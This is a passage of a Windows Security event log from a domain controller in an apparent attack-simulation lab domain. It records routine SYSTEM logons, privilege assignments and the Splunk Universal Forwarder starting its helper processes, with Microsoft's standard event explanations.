0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:43:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255899 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x37DAD1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:43:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255898 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x37DAD1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64864 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:43:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255897 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x37DAD1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:44:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255900 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:44:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255901 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:44:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255903 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x904 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:44:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255902 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:44:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255904 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:44:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255905 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1260 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:44:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255906 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x63c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:44:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255909 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x381101 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:44:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255908 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x381101 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64877 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:44:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255907 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x381101 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:45:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255910 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc30 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:45:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255912 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:45:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255911 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:45:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255913 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:45:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255914 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:45:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255915 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:45:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255916 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:45:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255919 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x385647 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:45:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255918 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x385647 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64890 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields 